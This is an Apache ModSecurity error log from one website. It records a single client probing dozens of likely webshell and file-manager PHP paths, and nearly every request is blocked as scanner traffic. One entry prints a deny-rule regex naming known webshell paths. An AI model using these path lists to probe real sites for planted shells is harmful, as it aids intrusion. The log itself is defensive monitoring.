[Wed Apr 08 21:24:44.120264 2026] [:error] [pid 7047:tid 7062] [client 51.107.217.48:47409] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "adZXHONh3oGO3pKiCzwraAAAAY0"]
[Wed Apr 08 21:24:45.418044 2026] [:error] [pid 7047:tid 7069] [client 51.107.217.48:24789] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adZXHeNh3oGO3pKiCzwrcgAAAZQ"]
[Wed Apr 08 21:24:46.613079 2026] [:error] [pid 64066:tid 64080] [client 51.107.217.48:61493] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adZXHlR3WucJgr2vZGZGhgAAAUs"]
[Wed Apr 08 21:24:47.818444 2026] [:error] [pid 7189:tid 7205] [client 51.107.217.48:20570] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adZXHxaBqhBSu0L37lrgdwAAAc4"]
[Wed Apr 08 21:24:49.752030 2026] [:error] [pid 7189:tid 7198] [client 51.107.217.48:20257] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adZXIRaBqhBSu0L37lrgfgAAAcc"]
[Wed Apr 08 21:24:50.858200 2026] [:error] [pid 12453:tid 12479] [client 51.107.217.48:16849] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mter.php"] [unique_id "adZXIhjtW7S6XsLPvrQ8fwAAAJg"]
[Wed Apr 08 21:25:45.363969 2026] [:error] [pid 64066:tid 64077] [client 51.107.217.48:20226] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adZXWVR3WucJgr2vZGZG9AAAAUg"]
[Wed Apr 08 21:25:46.685080 2026] [:error] [pid 12453:tid 12459] [client 51.107.217.48:17029] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adZXWhjtW7S6XsLPvrQ9GwAAAIQ"]
[Wed Apr 08 21:25:47.849863 2026] [:error] [pid 7047:tid 7069] [client 51.107.217.48:14007] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adZXW-Nh3oGO3pKiCzwsIwAAAZQ"]
[Wed Apr 08 21:25:48.743455 2026] [:error] [pid 7189:tid 7200] [client 51.107.217.48:23199] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adZXXBaBqhBSu0L37lrhBwAAAck"]
[Wed Apr 08 21:25:50.030250 2026] [:error] [pid 7189:tid 7199] [client 51.107.217.48:61458] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adZXXhaBqhBSu0L37lrhCgAAAcg"]
[Wed Apr 08 21:25:53.622282 2026] [:error] [pid 12453:tid 12466] [client 51.107.217.48:61551] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adZXYRjtW7S6XsLPvrQ9NAAAAIs"]
[Wed Apr 08 21:25:56.561587 2026] [:error] [pid 7047:tid 7055] [client 51.107.217.48:20581] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adZXZONh3oGO3pKiCzwsRwAAAYY"]
[Wed Apr 08 21:25:57.969645 2026] [:error] [pid 64066:tid 64082] [client 51.107.217.48:16833] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adZXZVR3WucJgr2vZGZG-wAAAU0"]
[Wed Apr 08 21:26:02.351906 2026] [:error] [pid 7047:tid 7072] [client 51.107.217.48:23203] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adZXauNh3oGO3pKiCzwsaQAAAZc"]
[Wed Apr 08 21:26:04.102118 2026] [:error] [pid 7047:tid 7050] [client 51.107.217.48:20579] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adZXbONh3oGO3pKiCzwsdAAAAYE"]
[Wed Apr 08 21:26:05.188844 2026] [:error] [pid 7047:tid 7053] [client 51.107.217.48:61541] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adZXbeNh3oGO3pKiCzwsfgAAAYQ"]
[Wed Apr 08 21:26:05.920154 2026] [:error] [pid 35642:tid 35653] [client 51.107.217.48:47175] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adZXbQ-CqryxdEs5DN9g1gAAAEk"]
[Wed Apr 08 21:26:06.670269 2026] [:error] [pid 7047:tid 7056] [client 51.107.217.48:61554] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZXbuNh3oGO3pKiCzwshgAAAYc"]
[Wed Apr 08 21:26:07.541101 2026] [:error] [pid 35642:tid 35665] [client 51.107.217.48:20593] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZXbw-CqryxdEs5DN9g3AAAAFU"]
[Wed Apr 08 21:26:08.431564 2026] [:error] [pid 7047:tid 7061] [client 51.107.217.48:16861] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZXcONh3oGO3pKiCzwsjgAAAYw"]
[Wed Apr 08 21:26:09.875222 2026] [:error] [pid 64066:tid 64071] [client 51.107.217.48:20430] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZXcVR3WucJgr2vZGZHFQAAAUI"]
[Wed Apr 08 21:26:11.031114 2026] [:error] [pid 12453:tid 12469] [client 51.107.217.48:61536] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adZXcxjtW7S6XsLPvrQ9dwAAAI4"]
[Wed Apr 08 21:26:11.847875 2026] [:error] [pid 7189:tid 7194] [client 51.107.217.48:61442] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adZXcxaBqhBSu0L37lrhTAAAAcM"]
[Wed Apr 08 21:26:12.632548 2026] [:error] [pid 7047:tid 7057] [client 51.107.217.48:20424] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adZXdONh3oGO3pKiCzwslQAAAYg"]
[Wed Apr 08 21:26:13.463316 2026] [:error] [pid 7047:tid 7052] [client 51.107.217.48:61502] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adZXdeNh3oGO3pKiCzwsmQAAAYM"]
[Wed Apr 08 21:26:15.059582 2026] [:error] [pid 7047:tid 7065] [client 51.107.217.48:23225] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adZXd-Nh3oGO3pKiCzwspQAAAZA"]
[Wed Apr 08 21:26:15.999680 2026] [:error] [pid 12490:tid 12507] [client 51.107.217.48:23189] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adZXd21Fea4F4fbumr0JCwAAAM8"]
[Wed Apr 08 21:26:17.049539 2026] [:error] [pid 64066:tid 64084] [client 51.107.217.48:23206] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adZXeVR3WucJgr2vZGZHKQAAAU8"]
[Wed Apr 08 21:26:18.155759 2026] [:error] [pid 12386:tid 12428] [client 51.107.217.48:20607] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adZXehLhhLtqHi2gK7UePgAAAQw"]
[Wed Apr 08 21:26:19.279837 2026] [:error] [pid 7189:tid 7204] [client 51.107.217.48:24817] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adZXexaBqhBSu0L37lrhYwAAAc0"]
[Wed Apr 08 21:26:19.980587 2026] [:error] [pid 12453:tid 12468] [client 51.107.217.48:17050] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adZXexjtW7S6XsLPvrQ9lgAAAI0"]
[Wed Apr 08 21:26:22.291143 2026] [:error] [pid 12453:tid 12456] [client 51.107.217.48:20561] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adZXfhjtW7S6XsLPvrQ9mwAAAIE"]
[Wed Apr 08 21:26:23.406025 2026] [:error] [pid 12490:tid 12512] [client 51.107.217.48:24824] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adZXf21Fea4F4fbumr0JEQAAANQ"]
[Wed Apr 08 21:26:24.302132 2026] [:error] [pid 7189:tid 7205] [client 51.107.217.48:47213] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adZXgBaBqhBSu0L37lrhdQAAAc4"]
[Wed Apr 08 21:26:28.564119 2026] [:error] [pid 64066:tid 64082] [client 51.107.217.48:20225] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adZXhFR3WucJgr2vZGZHOwAAAU0"]
[Wed Apr 08 21:26:31.702186 2026] [:error] [pid 12385:tid 12401] [client 51.107.217.48:20259] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adZXhyAjtvRQEkLosq2iogAAAAw"]
[Wed Apr 08 21:26:33.092636 2026] [:error] [pid 7047:tid 7065] [client 51.107.217.48:16857] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adZXieNh3oGO3pKiCzws4wAAAZA"]
[Wed Apr 08 21:26:33.856700 2026] [:error] [pid 7047:tid 7051] [client 51.107.217.48:17030] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adZXieNh3oGO3pKiCzws5wAAAYI"]
[Wed Apr 08 21:26:34.566862 2026] [:error] [pid 64066:tid 64081] [client 51.107.217.48:20235] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adZXilR3WucJgr2vZGZHRAAAAUw"]
[Wed Apr 08 21:26:35.363782 2026] [:error] [pid 7047:tid 7056] [client 51.107.217.48:20260] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adZXi-Nh3oGO3pKiCzws7AAAAYc"]
[Wed Apr 08 21:26:37.340054 2026] [:error] [pid 64066:tid 64088] [client 51.107.217.48:61532] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adZXjVR3WucJgr2vZGZHSQAAAVM"]
[Wed Apr 08 21:26:39.670826 2026] [:error] [pid 12490:tid 12495] [client 51.107.217.48:23221] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "adZXj21Fea4F4fbumr0JHgAAAMM"]
[Wed Apr 08 21:26:42.346055 2026] [:error] [pid 7189:tid 7206] [client 51.107.217.48:47228] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "adZXkhaBqhBSu0L37lrhmAAAAc8"]
[Wed Apr 08 21:27:39.983846 2026] [:error] [pid 7047:tid 7070] [client 51.107.217.48:47387] [client 51.107.217.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adZXy-Nh3oGO3pKiCzwt2AAAAZU"]
[Wed Apr 08 21:27:49.842451 2026] [:error] [pid 12386:tid 12438] [client 51.107.217.48:61508] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adZX1RLhhLtqHi2gK7UecgAAARY"]
[Wed Apr 08 21:27:51.364502 2026] [:error] [pid 12453:tid 12468] [client 51.107.217.48:16841] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adZX1xjtW7S6XsLPvrQ-nAAAAI0"]
[Wed Apr 08 21:27:52.872099 2026] [:error] [pid 64066:tid 64076] [client 51.107.217.48:61503] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adZX2FR3WucJgr2vZGZHjwAAAUc"]
[Wed Apr 08 21:27:54.204325 2026] [:error] [pid 12385:tid 12412] [client 51.107.217.48:47396] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "adZX2iAjtvRQEkLosq2ixQAAABc"]
[Wed Apr 08 21:27:55.242859 2026] [:error] [pid 7047:tid 7053] [client 51.107.217.48:20272] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adZX2-Nh3oGO3pKiCzwuJwAAAYQ"]
[Wed Apr 08 21:27:56.377473 2026] [:error] [pid 64066:tid 64077] [client 51.107.217.48:47042] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adZX3FR3WucJgr2vZGZHkgAAAUg"]
[Wed Apr 08 21:27:57.532670 2026] [:error] [pid 12490:tid 12514] [client 51.107.217.48:20264] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adZX3W1Fea4F4fbumr0JTAAAANY"]
[Wed Apr 08 21:27:58.921906 2026] [:error] [pid 35642:tid 35645] [client 51.107.217.48:20567] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adZX3g-CqryxdEs5DN9hOgAAAEE"]
[Wed Apr 08 21:28:00.097910 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:24782] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adZX4BaBqhBSu0L37lriCQAAAdc"]
[Wed Apr 08 21:28:01.241983 2026] [:error] [pid 12490:tid 12506] [client 51.107.217.48:20262] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adZX4W1Fea4F4fbumr0JTwAAAM4"]
[Wed Apr 08 21:28:02.185057 2026] [:error] [pid 12453:tid 12455] [client 51.107.217.48:16862] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adZX4hjtW7S6XsLPvrQ-rgAAAIA"]
